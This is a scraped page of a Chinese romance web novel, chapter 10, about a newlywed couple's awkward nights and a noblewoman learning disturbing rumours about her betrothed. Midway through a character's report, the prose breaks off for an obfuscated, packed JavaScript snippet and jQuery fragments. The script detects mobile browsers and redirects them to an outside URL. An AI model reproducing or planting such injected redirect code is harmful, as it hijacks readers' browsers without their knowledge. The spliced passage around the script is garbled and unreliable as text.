默认冷灰
24号文字
方正启体

10. 欺骗

作者:琅轩听雨本书字数:K更新时间:
    三日婚假一过,李玄明便恢复了早出晚归的当差。


    林晚棠倒无所谓。这三日,除了回门那日,他压根儿就没露过面,他在不在家,原也没什么分别。


    只是,李玄明竟帮她夺回了娘亲的嫁妆。这件事,她是万万没想到的,心里头说不感激,那是假的。


    那日继母的脸色,她依然记得——铁青着一张脸,像被人迎面扇了一巴掌。


    从头到尾,他都按着刀柄站在她身侧。林晚棠那时忽然感觉,这个少年,好像跟她记忆里那个莽莽撞撞的身影对不上号了。


    如今嫁妆也清点完了,她坐在房里,反倒有些无所适事。


    春熙在一旁做针线,时不时抬眼瞄她。


    “少夫人,要不奴婢去给您寻点花样子来?”春熙问。


    林晚棠摇摇头,目光落在窗外。她犹豫了一下,开口唤人:“去把阿莫叫来。”


    阿莫生得机灵,嘴巴也甜。这几日接触下来,林晚棠觉着他是个好说话的。不多时,阿莫小跑着来了,笑嘻嘻地行礼:“少夫人有什么吩咐?”


    林晚棠斟酌了一下措辞:“我……想找两本书看看,不知道你们郎君的书房……”


    阿莫一拍手,脸上笑意更浓了,“少夫人您可算问着了!郎君这儿的书多着呢,您想看什么书都有!”


    林晚棠微微一愣。


    阿莫已经殷勤地侧身引路:“少夫人这边请。”


    她不好多说什么,起身跟去。书房就在正房东侧,几步路就到了。


    阿莫推开门的动作带着一股炫耀的意味:“少夫人您瞧——”


    林晚棠愣住了。


    满满一架子书。


    她下意识往里走了两步,目光扫过一排排书脊,脑子里只剩一个念头——李玄明自小就是一读书就头疼的主儿,哪来这么多藏书?


    这个疑惑刚冒出来,阿莫就在身后笑呵呵地开了口:“少夫人不知道吧?这些都是成亲前,郎君特意为您寻来的。”


    林晚棠脚步一顿。


    阿莫浑然不觉她的异样,继续说:“郎君托了好多人打听,又亲自去书铺子里挑的。还有好些是从郡王爷那儿搬来的,说是先给您垫着,不够再添。对了——”


    他从袖中掏出一串钥匙,双手奉上,“这是书房的钥匙。您收好。”


    林晚棠半晌没动。还是春熙在后面瞄了她一眼,上前接了钥匙。


    “少夫人?”春熙小声唤她。


    林晚棠回过神来,轻声道:“知道了,你们先下去吧。”


    门在她身后轻轻阖上。


    她缓缓走到书架前,指尖滑过书籍——《博物志》《九州山川考》《山居杂录》《酉阳杂俎》……


    成亲三日,他只在夜里悄悄来打地铺,天亮前就走了。


    她以为他是不想看见她。


    可现在……


    她抽出一本,指尖摩挲着书页的边缘,唇角弯了弯,很浅,却比这几日任何一个笑容都真。


    入夜。


    林晚棠躺在床上,没什么睡意。听见门外传来的脚步声时,她的心跳莫名快了一拍。


    那声音鬼鬼祟祟的,跟做贼似的,一步一顿,中间还停了两回。若不是她亲眼见过这人翻墙的身手,真要以为门外是个蹩脚的小毛贼。


    又过了几息,门被推开一条缝,一个人影抱着铺盖卷,踮着脚尖往里蹭。等他终于走到位置、弯腰准备铺被时,她轻声开口:“你……”


    “啊——!”


    铺盖卷应声落地。


    李玄明猛地弹开两步,后背撞上了屏风,屏风晃了几晃,发出“吱呀”一声响。他手忙脚乱地扶住,脚下不知绊到什么,一个趔趄,又踢翻了床边的小几,几上的茶盏“哗啦”滚落下来。他连忙伸手去接,什么也没接住,只听“啪”的一声,碎了。


    林晚棠被这一连串动静吓得坐了起来,下意识问:“你没事吧?”


    “没、没事!”李玄明压着嗓子,话说到一半还破了音,“你、你怎么还没睡?!”


    她没答,只是看着他。


    两人就这么沉默着。


    过了好一会儿,李玄明先撑不住了。他弯腰去捡地上的铺盖,动作僵得像根木头。抱着被褥站了半天,终于憋出一句:“你别多想啊,书房那榻……太硬了。”


    他说完就后悔了。


    榻硬?地就不硬了?


    林晚棠仍是一言不发。


    他更慌了,把被褥往地上一扔,也不铺了,直接一屁股坐上去,背对着床,声音闷闷的:“我就睡这儿,你睡你的,我保证不吵你。”


    身后还是没声音。


    他坐立不安地挪了挪,忍不住回头瞄了一眼——林晚棠还坐在床上,双手揪着被子,脸笼在阴影里,看不清神情。


    他踌躇再三,开口道:“你要是嫌我碍眼,我这就走……”说着,作势要起身,忽而听见身后传来一声极轻的声音。


    “地上凉。”


    李玄明僵住了。


    他猛地回头,对上林晚棠的目光。她很快垂下眼,声音更小了:“你…你别睡地上。”


    “那你是让我睡床?!”他脱口而出,声音大得自己都吓了一跳。


    林晚棠被他这一嗓子惊得往后缩了缩,揪着被子的手指更紧了,声音细得像蚊子哼:“我、我是说可以再加一床褥子……”


    “……哦。”


    李玄明干巴巴地应了一声,又坐了回去。


    林晚棠缓缓躺下,把被子拉到下巴,侧过身去,不再看他。


    月光皎皎,一室安宁。


    崔府。


    枕霞阁的内室里暖香袭人。偌大的浴桶中,牛乳般温润的汤水微微荡漾,水面漂浮着几瓣鲜红的梅花和名贵的香露。桶沿嵌着一圈錾花银饰,映着烛火,泛出碎光。


    崔令妩整个人惬意地浸泡其中,只露出线条优美的肩颈和一张……贴满翠绿黄瓜片的脸。


    大冬天的长安,也不知她是从哪个暖窖里弄来这般鲜嫩水灵的黄瓜,切成薄如蝉翼的片儿,密密地敷在脸上,只留出一双灵动的杏眼和那张娇艳欲滴的樱桃小嘴在外头呼气。


    翠翘蹲在桶边,瞧着她的脸,心疼得直抽气:“五两银子一根呢,小姐就这么……贴了?”


    崔令妩闭着眼,慢悠悠道:“贴脸上就不是五两了?笨。”


    翠翘撇撇嘴,不吭声了。


    窗边,元宝正揣着爪子,懒洋洋地躺着,偶尔“喵”一声,嗓音甜腻,像是在附和这满室的慵懒。


    “这般才算舒坦。”崔令妩满足地喟叹一声,声音透过黄瓜片,带着点闷闷的娇憨。


    话音未落,门外传来轻微响动。屏风外的寒枝得了允准,悄无声息地走进来,在离浴桶三步远的地方站定,低声回禀:“小姐,事情已大致查明。”


    “说。”崔令妩闭着眼道。


    寒枝言简意赅,将探得的信息一一道来:“三年前郡王府东苑大火,世子李玄德身陷其中,右脸至脖颈严重灼伤,虽经救治,但疤痕狰狞,容貌已毁。此后深居简出,性情据传变得阴郁乖张。”


    “近年来,王府暗中寻访各路名医乃至偏方异士,所用药材多属生肌祛疤、镇痛麻痹的虎狼之药,耗资甚巨。世子本人极


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450122|201162||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    少露面,王府下人对世子之事也是讳莫如深。”


    室内一片寂静。


    “还有,”寒枝语气平淡:“前些日子,永嘉坊发生了一起命案,死者脸皮被剥。巧的是,坊间有零碎传言,说他会实施‘换脸’之术。”


    “啪。”


    很轻微的一声,是崔令妩脸上的一片黄瓜片,因为她骤然紧绷的下颌线条,而滑落边缘,粘在了脖颈上。


    紧接着——


    “啪嗒、啪嗒、啪嗒……”


    像是下了一阵急雨,那些原本服服帖帖覆在她脸上的翠绿瓜片,因为惊愕之下猛地抬头,齐齐脱离了肌肤,纷纷坠落在浴汤中。


    一张毫无遮挡、不施粉黛的脸完全露了出来。


    远山似的眉拧紧了,杏眼圆睁,映着水汽与火光。惯常带笑的小嘴抿成一条线,粉颊也因怒气烧得通红,连鼻翼都在微微翕动。


    明明是可爱娇憨的样貌,此刻却因那双燃着火的眼睛,显出一种逼人的鲜活与锐利。


    “好个李玄德!”她声音不再娇懒,带着冰碴子,“不仅用他人画像相亲,竟还想要剥皮换脸?心狠手辣至此,这人绝不能嫁!”


    “小姐!”翠翘也被吓了一跳,慌忙劝道,“咱们……咱们赶紧去告诉二老爷吧!让二老爷为您做主!”


    崔令妩猛地向后靠去,重重砸在桶壁上,溅起一片水花,整个人都在微微发颤。窗边的元宝“喵呜”一声跳起来,警惕地看过来。


    须臾,她肩头垮了下去,方才那股逼人的怒气瞬间被一种深深的无力感取代。


    她扯了扯嘴角,笑得有些涩然,“二叔是疼我,可这门婚事……当初是我自己点了头的。画像?人家大可说,那是世子受伤前的旧影,珍藏于心,以示诚心,何来欺骗一说?世家联姻,看的终究是门第利益,是郡王府世子的身份,而不是那张脸皮子是否完好。”


    她伸出湿漉漉的手臂,胡乱拨开水面漂浮的黄瓜片,露出底下懊恼的脸:“二叔万不会因此等细枝末节,就去和郡王府撕破脸。最多私下交涉,让对方给些补偿,或者承诺婚后善待于我……可那样一个心思阴沉、行事极端的郎君,是些虚头巴脑的承诺能顶用的吗?”


    翠翘急得眼圈都红了,颤声问道:“那…那怎么办呀小姐?难道就…就真嫁过去?”


    崔令妩望着蒸腾的水汽,眼神有些放空,低声喃喃:“要是阿爷在就好了……”


    若是他知晓此事,定然会拍案而起,二话不说就打上郡王府的门,管他什么天家贵胄、世子颜面,定要为她争个清楚、退个干净。


    翠翘眼睛一亮:“是呀!老爷最疼小姐。咱们这就给老爷去信,请他速速来长安!”


    崔令妩坐直身子,用力点头,脸颊上未擦干的水珠滚落,没入精致的锁骨。


    她语气斩钉截铁:“对!给阿爷写信!”想了想,她又补充:“信里写清楚,我不愿嫁此等心术不正、欺瞒狡诈之人,但恐家族为难。语气要可怜些,不过也要有理有据。”


    “是!”翠翘连忙应道,起身就要去安排。


    寒枝继续禀报:“至于姜家惨案……七年前,左武卫将军姜震府邸遭袭,满门遇害,其女姜妩,时年九岁,亦未能幸免。此案轰动一时,但至今未破,卷宗仍悬于大理寺。


    崔令妩只“哦”了一声,略显感慨:“也是可怜。”便将注意力转回李玄德的事上。


    思索片刻,她看向一直静立如松的寒枝:“我们要做两手打算,万一阿爷来不了长安……”


    室内恢复安静,水汽依旧氤氲。


    元宝见无事,又懒懒地趴了回去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)